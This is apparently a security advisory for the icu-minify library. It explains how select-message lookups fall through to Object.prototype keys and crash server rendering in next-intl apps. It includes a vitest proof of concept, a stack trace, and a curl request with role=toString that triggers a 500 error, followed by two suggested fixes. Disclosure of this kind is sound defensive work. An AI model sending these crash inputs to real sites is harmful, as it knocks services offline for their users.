GHSA-r27j-894h-3w3p

## Summary

`icu-minify`'s runtime formatter resolves `select` branches by looking up the runtime value as a plain property on a prototype-bearing object. When the value coerces to a key that exists on `Object.prototype` (e.g. `toString`, `__proto__`, `constructor`, `hasOwnProperty`, `valueOf`), the lookup returns a truthy value that short-circuits the `?? options.other` fallback, and the downstream iterator crashes with `TypeError: nodes is not iterable`. Any consumer that forwards user input into a `{arg, select, …}` placeholder — a common idiom for `role`, `status`, `type`, `gender` — can be crashed per-request by supplying one of those keys. In Next.js SSR (via `next-intl` with `experimental.messages.precompile`) this yields a 500 for the affected render.

## Details

### Vulnerable code paths

Compilation produces a plain object whose prototype chain includes all `Object.prototype` members:

```tsx // packages/icu-minify/src/compile.tsx:191-199 function compileSelect(node: SelectElement): CompiledNode { const options: SelectOptions = {}; // <-- plain object, inherits from Object.prototype

for (const [key, option] of Object.entries(node.options)) { options[key] = compileNodesToNode(option.value); }

return [node.value, TYPE_SELECT, options]; } ```

At runtime, the formatter looks up the user-controllable value directly on that object:

```tsx // packages/icu-minify/src/format.tsx:226-244 function formatSelect<RichTextElement>( name: string, options: SelectOptions, locale: string, values: FormatValues<RichTextElement>, formatOptions: FormatOptions, pluralCtx: PluralContext | undefined ): string | RichTextElement | Array<string | RichTextElement> { const value = String(getValue(values, name)); // 234: coerce to string, no sanitization const branch: CompiledNode | undefined = options[value] ?? options.other; // 235: unsafe lookup

if (process.env.NODE_ENV !== 'production' && !branch) { throw new Error( `No matching branch for select "${name}" with value "${value}"` ); }

return formatBranch(branch, locale, values, formatOptions, pluralCtx); // 243 } ```

Because `options` inherits from `Object.prototype`, lookups such as `options['toString']` return `Object.prototype.toString` — a truthy `Function`. The `?? options.other` fallback is therefore skipped, and the non-array, non-string branch is passed to `formatBranch`, which forwards it to `formatNodes`:

```tsx // packages/icu-minify/src/format.tsx:286-308 function formatBranch<RichTextElement>( branch: CompiledNode, /* … */ ) { if (typeof branch === 'string') return branch; // string: fine if (branch === TYPE_POUND) return formatNode(/* … */); // pound: fine return formatNodes(branch as Array<CompiledNode>, /* … */); // 301: Function is not iterable }

// packages/icu-minify/src/format.tsx:73-92 function formatNodes<RichTextElement>( nodes: Array<CompiledNode>, /* … */ ): Array<string | RichTextElement> { const result: Array<string | RichTextElement> = []; for (const node of nodes) { // 82: TypeError: nodes is not iterable /* … */ } return result; } ```

Five bare-prototype keys reliably crash the formatter in production: `toString`, `__proto__`, `constructor`, `hasOwnProperty`, `valueOf` (plus `propertyIsEnumerable`, `isPrototypeOf`, `toLocaleString`). Note the development branch at line 237 (`throw new Error('No matching branch for select …')`) is bypassed because the inherited function is truthy — so this is not masked in development either.

### Why `formatPlural` is not affected

`formatPlural` (format.tsx:246-284) looks safe for two independent reasons and does not need to be patched for this specific bug:

1. Exact-match keys use the `=${value}` prefix (`exactKey = '=' + value`, line 263), so the attacker would need to supply e.g. `=toString`, which is not a member of `Object.prototype`. 2. The category branch uses `formatOptions.formatters.getPluralRules(locale, {type}).select(value)` which returns a fixed enum (`zero|one|two|few|many|other`), never attacker-supplied.

The bug is specific to the `select` path where the raw string value is used as the lookup key.

### Reachability

- **Direct consumers of `icu-minify`**: any code calling `format(compiled, locale, values, …)` where `values[arg]` for a `select` placeholder comes from user input is vulnerable with no additional preconditions. - **`next-intl` users** who enable `experimental.messages.precompile` (`packages/next-intl/src/plugin/types.tsx:24`, wired in `packages/next-intl/src/plugin/getNextConfig.tsx:177-293`): the runtime at `packages/use-intl/src/core/format-message/format-only.tsx` forwards directly to `icu-minify/format`, so `t('msg', {role: req.query.role})` against a `{role, select, admin {…} other {…}}` message crashes the render.

No middleware, type guard, escaping, or framework default stands between user input and the unsafe lookup — `values` reaches `format()` unmodified.

## PoC

Verified dynamically against `packages/icu-minify/src/format.tsx` at commit `b4aa538` (v4.9.1) with vitest and `NODE_ENV=production`.

Reproduction (drop into `packages/icu-minify/test/poc.test.ts` and run `pnpm exec vitest run test/poc.test.ts`):

```ts import {describe, expect, it} from 'vitest'; import compile from '../src/compile.js'; import format, {type FormatOptions} from '../src/format.js';

const formatters: FormatOptions['formatters'] = { getDateTimeFormat: (...a) => new Intl.DateTimeFormat(...a), getNumberFormat: (...a) => new Intl.NumberFormat(...a), getPluralRules: (...a) => new Intl.PluralRules(...a) };

describe('select prototype-key DoS', () => { const compiled = compile('{role, select, admin {Admin} user {User} other {Guest}}');

for (const key of ['toString', '__proto__', 'constructor', 'hasOwnProperty', 'valueOf']) { it(`crashes on role="${key}"`, () => { process.env.NODE_ENV = 'production'; expect(() => format(compiled, 'en', {role: key}, {formatters})) .toThrow(TypeError); // "nodes is not iterable" }); } }); ```

Observed output (each of the 5 keys):

``` TypeError: nodes is not iterable at formatNodes (packages/icu-minify/src/format.tsx:82:22) at formatBranch (packages/icu-minify/src/format.tsx:301:10) at formatSelect (packages/icu-minify/src/format.tsx:243:10) at formatNode (packages/icu-minify/src/format.tsx:150:14) at formatNodes (packages/icu-minify/src/format.tsx:83:23) at format (packages/icu-minify/src/format.tsx:64:18) ```

End-to-end Next.js scenario (illustrative — any attacker-controlled `role`/`status`/`type`/`gender` forwarded into a `select` placeholder triggers the same exception inside the server render):

```tsx // app/[locale]/profile/page.tsx — assume precompile enabled export default async function Page({searchParams}: {searchParams: Promise<{role?: string}>}) { const t = await getTranslations('Profile'); const {role = 'other'} = await searchParams; return <h1>{t('greeting', {role})}</h1>; // ^^^^^ messages: { "greeting": "{role, select, admin {Hi admin} other {Hi}}" } } ```

``` curl -i 'https://target.example/en/profile?role=toString' HTTP/1.1 500 Internal Server Error ```

## Impact

- **Availability**: An unauthenticated attacker can force a 500 response on any page or API route that formats a `select` ICU message using user-controllable input. Each request fails independently; there is no persistent state corruption or amplification beyond the malicious request. - **Confidentiality / Integrity**: None. No data is leaked and no prototype write occurs — this is a prototype-chain *read* confusion, not a prototype pollution write. - **Scope**: Any consumer of `icu-minify` that passes user input into a `select` branch is vulnerable. `next-intl` users are only exposed if they have opted into the experimental `experimental.messages.precompile` flag. - **Preconditions**: Developer must forward untrusted input to a `{arg, select, …}` placeholder. This is a routine pattern (`role`, `status`, `gender`, `type`) and the library offers no documentation warning that `select` keys must be validated against prototype members.

## Recommended Fix

Either of the following (defense-in-depth suggests both). Both are one-line, minimal-churn fixes.

1. Use a null-prototype map in `compileSelect` (and symmetrically in `compilePlural`) so that no `Object.prototype` keys can ever be resolved:

```tsx // packages/icu-minify/src/compile.tsx function compileSelect(node: SelectElement): CompiledNode { - const options: SelectOptions = {}; + const options: SelectOptions = Object.create(null);

for (const [key, option] of Object.entries(node.options)) { options[key] = compileNodesToNode(option.value); }

return [node.value, TYPE_SELECT, options]; } ```

2. Gate the runtime lookup with `Object.prototype.hasOwnProperty.call` so the `other` fallback is reached for any non-own key:

```tsx // packages/icu-minify/src/format.tsx function formatSelect<RichTextElement>(/* … */) { const value = String(getValue(values, name)); - const branch: CompiledNode | undefined = options[value] ?? options.other; + const branch: CompiledNode | undefined = + Object.prototype.hasOwnProperty.call(options, value) ? options[value] : options.other; /* … */ } ```

Option 1 is preferable because it also survives future serialization round-trips (e.g. JSON-hydrated compiled messages) and removes the hazard at the source. Option 2 is a defensive backstop for any code path that constructs `SelectOptions` from arbitrary JSON at runtime.

No regression is expected in tests — `compileSelect` never reads back through the prototype chain, and all existing lookups use own properties.